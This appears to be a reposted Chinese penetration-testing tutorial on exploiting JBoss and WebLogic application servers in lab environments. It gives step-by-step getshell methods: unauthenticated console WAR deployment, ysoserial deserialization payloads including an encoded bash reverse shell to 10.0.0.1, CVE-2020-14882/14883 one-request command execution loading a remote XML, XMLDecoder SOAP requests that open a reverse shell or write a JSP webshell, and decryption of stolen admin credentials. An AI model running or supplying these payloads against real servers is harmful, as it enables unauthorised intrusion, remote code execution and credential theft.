  • server/all      JBoss 的完全配置，启动所有服务，包括集群和IIOP 。(本教程就采用此配置)
  • server/default     JBoss 的默认配置。在没有在JBoss 命令航中指定配置名称时使用。(本教程没有安装此配置，如果不指定配置名称，启动将会出错)
  • server/all/conf     JBoss 的配置文件
  • server/all/data     JBoss 的数据库文件。比如，嵌入的数据库，或者JBossMQ
  • server/all/deploy    JBoss 的热部署目录。放到这里的任何文件或目录会被JBoss 自动部署。EJB、WAR 、EAR，甚至服务
  • server/all/lib      一些JAR，JBoss 在启动特定配置时加载他们。(default 和minimial 配置也包含这个和下面两个目录。)
  • server/all/log    JBoss 的日志文件
  • server/all/tmp    JBoss 的临时文件

JMX Console未授权访问Getshell

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进入到jmx控制台，并在其中执行任何功能。影响版本：Jboss4.x以下

Jboxx4.x /jmx-console/ 后台存在未授权访问，进入后台后，可直接部署 war 包Getshell。若需登录，可以尝试爆破弱口令登录。然后找到jboss.deployment（jboss 自带的部署功能）中的flavor=URL,type=DeploymentScanner点进去（通过 url 的方式远程部署）

找到页面中的void addURL()选项来远程加载war包来部署。填写 war 后门的网址

http://192.168.0.180:91/shell.war

返回到刚进入jmx-console的页面，找到 jboss.web.deployment，如下说明部署成功。如果没显示，多刷新几次页面或者等会儿，直到看到有部署的war包即可

http://192.168.0.179:8080/jmx-console/

访问后门即可

http://192.168.0.179:8080/shell/shell.jsp
image-20230216013139832

JBoss 5.x/6.x 反序列化漏洞

CVE-2017-12149

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

参考：

  • https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
  • https://access.redhat.com/security/cve/cve-2017-12149

初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

该漏洞出现在/invoker/readonly请求中，服务器将用户提交的POST内容进行了Java反序列化：

所以，我们用常规Java反序列化漏洞测试方法来复现该漏洞。

我们使用bash来反弹shell，但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法，我们需要用进行一次编码。工具：http://www.jackson-t.ca/runtime-exec-payloads.html

使用ysoserial来复现生成序列化数据，由于Vulhub使用的Java版本较新，所以选择使用的gadget是CommonsCollections5：

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

生成好的POC即为poc.ser，将这个文件作为POST Body发送至/invoker/readonly即可：

成功反弹shell：

Jboss 5.x/6.x Getshell

Jboss 5.x/6.x admin-console和web-console的账号密码是一样的。因此当web-console无法部署war包时，可以使用admin-console来部署。前提是先得到账号密码，密码保存在jboss/server/default/conf/props/jmx-console-users.properties。影响版本：Jboss 5.x/6.x

先创建一个带有jsp木马的war包，选择一个shell.jsp的木马，在该处打开cmd并执行jar cvf shell.warshell.jsp。会得到一个shell.war 或者用zip 压缩一个zip包改名shell.war进入admin-console页面后输入账号密码登录

http://192.168.0.179:8080/admin-console/login.seam?conversationId=2

选择 Web Application (WAR)->Add New Web Application (WAR)

上传后门文件shell.war

访问后门即可

JBoss JMXInvokerServlet 反序列化漏洞

CVE-2015-7501

这是经典的JBoss反序列化漏洞，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。

参考文档：

  • https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  • https://www.seebug.org/vuldb/ssvid-89723
  • http://www.freebuf.com/sectool/88908.html
  • https://paper.seebug.org/312/

启动漏洞环境

docker-compose up -d

首次执行时会有1~3分钟时间初始化，初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象，所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程可参考jboss/CVE-2017-12149，我就不再赘述。

网上已经有很多EXP了，比如DeserializeExploit.jar，直接用该工具执行命令、上传文件即可：


JBoss 4.x JBossMQ JMS 反序列化漏洞

CVE-2017-7504

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

参考：

  • https://github.com/joaomatosf/JavaDeserH2HC
  • https://www.youtube.com/watch?v=jVMr4eeJ2Po

环境启动后，目标为http://your-ip:8080。

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中，我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload：

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser

我们将1.ser文件内容作为POST Body发送：

curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
img

执行docker-compose exec jboss bash进入容器，可见/tmp/success已成功创建。

JBoss EJBInvokerServlet 反序列化漏洞

CVE-2013-4810 实际上主要集中在 jboss 6.x 版本上:

  • Apache Group Commons Collections 4.0
  • Apache Group Commons Collections 3.2.1
  • Apache Group Commons Collections

EJBInvokerServlet和JMXInvokerServlet Servlet中存在一个远程执行代码漏洞。未经身份验证的远程攻击者可以通过特制请求利用此漏洞来安装任意应用程序。跟CVE-2015-7501利用方法一样，只是路径不一样，这个漏洞利用路径是/invoker/EJBInvokerServle

0X06 Weblogic 中间件

WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic是美商Oracle的主要产品之一，是并购BEA得来。是商业市场上主要的Java（J2EE）应用服务器软件（application server）之一，是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal，WebLogic Integration等企业用的中间件（但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包），以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

Weblogic 弱口令 Getshell

在weblogic搭建好之后没有修改进入后台的密码 导致弱口令登录获得webshell

http://192.168.0.185:7001/console/login/LoginForm.jsp

使用默认密码登陆，如果不行就穷举其常用弱口令：http://cirt.net/passwords?criteria=weblogic，错误密码5次之后就会自动锁定，这里使用weblogic/[email protected]登陆后台，登录后台后 点击部署 点击安装 点击上传war包即可getshell。

XMLDecoder 反序列化漏洞

CVE-2017-3506

WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271，Oracle官方在2017年10月份发布了该漏洞的补丁，但没有公开漏洞细节，如果企业未及时安装补丁，存在被攻击的风险。对企业服务器发起了大范围远程攻击，对大量企业的服务器造成了严重威胁，受影响版本：10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

wls-wsat 反序列化漏洞

CVE-2019-2725 影响版本：

  • weblogic 10.x
  • weblogic 12.1.3

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。

WLS Core Components 反序列化命令执行漏洞

CVE-2018-2628

Oracle 2018年4月补丁中，修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞（CVE-2018-2628），该漏洞通过t3协议触发，可导致未授权的用户在远程服务器执行任意命令。Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.

参考链接：

  • http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
  • http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
  • https://github.com/tdy218/ysoserial-cve-2018-2628

访问http://your-ip:7001/console，初始化整个环境。

首先下载ysoserial，并启动一个JRMP Server：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中，[command]即为我想执行的命令，而[listen port]是JRMP Server监听的端口。

然后，使用exploit.py脚本，向目标Weblogic（http://your-ip:7001）发送数据包：

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中，[victim ip]和[victim port]是目标weblogic的IP和端口，[path to ysoserial]是本地ysoserial的路径，[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类，可选的值是JRMPClient或JRMPClient2。

exploit.py执行完成后，执行docker-compose exec weblogic bash进入容器中，可见/tmp/success已成功创建。

任意文件上传漏洞

CVE-2018-2894 影响版本：

  • weblogic 10.3.6.0
  • weblogic 12.1.3.0
  • weblogic 12.2.1.2
  • weblogic 12.2.1.3

Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在“生产模式”下默认不开启，所以该漏洞有一定限制。利用该漏洞，可以上传任意jsp文件，进而获取服务器权限。

参考链接：

  • http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
  • https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
  • https://xz.aliyun.com/t/2458

访问http://your-ip:7001/console，即可看到后台登录页面。

执行docker-compose logs | grep password可查看管理员密码，管理员用户名为weblogic。

登录后台页面，点击base_domain的配置，在“高级”中开启“启用 Web 服务测试页”选项：

访问http://your-ip:7001/ws_utc/config.do，设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录，访问这个目录是无需权限的，这一点很重要。

然后点击安全 -> 增加，然后上传webshell：

上传后，查看返回的数据包，其中有时间戳：

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]，即可执行webshell：

未授权远程命令执行漏洞

CVE-2020-14882，CVE-2020-14883 影响版本：

  • Oracle Weblogic Server 10.3.6.0.0
  • Oracle Weblogic Server 12.1.3.0.0
  • Oracle Weblogic Server 12.2.1.3.0
  • Oracle Weblogic Server 12.2.1.4.0
  • Oracle Weblogic Server 14.1.1.0.0

2020年10月28日，Oracle发布的10月安全更新中的Oracle WebLogic Server 远程代码执行漏洞（CVE-2020-14882）POC被公开，远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者可在未经身份验证的情况下控制 WebLogic Server Console ，并执行任意代码。2020年10月29日, Oracle发布的漏洞补丁CVE-2020-14882存在可绕过的0day漏洞。即在Weblogic补丁更新完成后，攻击者仍可绕过WebLogic后台登录等限制，并控制Weblogic服务器。

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中，Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞，分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

参考链接：

  • https://www.oracle.com/security-alerts/cpuoct2020traditional.html
  • https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf

访问http://your-ip:7001/console即可查看到后台登录页面。

首先测试权限绕过漏洞（CVE-2020-14882），访问以下URL，即可未授权访问到管理后台页面：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

访问后台后，可以发现我们现在是低权限的用户，无法安装应用，所以也无法直接执行任意代码：

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种，一是通过com.tangosol.coherence.mvel2.sh.ShellSession，二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

直接访问如下URL，即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

进入容器，可以发现touch /tmp/success1已成功执行：

这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法，最早在CVE-2019-2725被提出，对于所有Weblogic版本均有效。

首先，我们需要构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上，如http://example.com/rce.xml：

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后通过如下URL，即可让Weblogic加载这个XML，并执行其中的命令：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

这个利用方法也有自己的缺点，就是需要Weblogic的服务器能够访问到恶意XML。

wls-wsat XMLDecoder 反序列化漏洞

CVE-2017-10271 Weblogic < 10.3.6

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

参考链接：

  • https://www.exploit-db.com/exploits/43458/
  • https://paper.seebug.org/487/
  • [https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices组件反序列化漏洞分析.md](https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic WLS-WebServices组件反序列化漏洞分析.md)
  • http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html

访问http://your-ip:7001/即可看到一个404页面，说明weblogic已成功启动。

发送如下数据包（注意其中反弹shell的语句，需要进行编码，否则解析XML的时候将出现格式错误）：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功获取shell：

写入webshell（访问：http://your-ip:7001/bea_wls_internal/test.jsp）：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

Weblogic 常规渗透测试步骤

本环境模拟了一个真实的weblogic环境，其后台存在一个弱口令，并且前台存在任意文件读取漏洞。分别通过这两种漏洞，模拟对weblogic场景的渗透。

  • Weblogic版本：10.3.6(11g)
  • Java版本：1.6

弱口令

环境启动后，访问http://your-ip:7001/console，即为weblogic后台。

本环境存在弱口令：

weblogic常用弱口令： http://cirt.net/passwords?criteria=weblogic

任意文件读取漏洞的利用

假设不存在弱口令，如何对weblogic进行渗透？

本环境前台模拟了一个任意文件下载漏洞，访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。那么，该漏洞如何利用？

读取后台用户密文与密钥文件

weblogic密码使用AES（老版本3DES）加密，对称加密可解密，只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下，名为SerializedSystemIni.dat和config.xml，在本环境中为./security/SerializedSystemIni.dat和./config/config.xml（基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain）。

SerializedSystemIni.dat是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码，右键copy to file就可以保存成一个文件：

config.xml是base_domain的全局配置文件，所以乱七八糟的内容比较多，找到其中的<node-manager-password-encrypted>的值，即为加密后的管理员密码，不要找错了：

解密密文

然后使用本环境的decrypt目录下的weblogic_decrypt.jar，解密密文（或者参考这篇文章：http://cb.drops.wiki/drops/tips-349.html ，自己编译一个解密的工具）：

可见，解密后和我预设的密码一致，说明成功。

后台上传webshell

获取到管理员密码后，登录后台。点击左侧的部署，可见一个应用列表：

点击安装，选择“上载文件”：

上传war包。值得注意的是，我们平时tomcat用的war包不一定能够成功，你可以将你的webshell放到本项目的web/hello.war这个压缩包中，再上传。上传成功后点下一步。

填写应用名称：

继续一直下一步，最后点完成。

应用目录在war包中WEB-INF/weblogic.xml里指定（因为本测试环境已经使用了/hello这个目录，所以你要在本测试环境下部署shell，需要修改这个目录，比如修改成/jspspy）：

成功获取webshell：


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247499404&idx=1&sn=f35470ebc83809710489916ade11a8f8&chksm=c3056b0bf472e21dfd4d18b880f30f0f79dc509d0d73af5dc5fcb0748f0e83fd467a435b766c#rd
如有侵权请联系:admin#unsafe.sh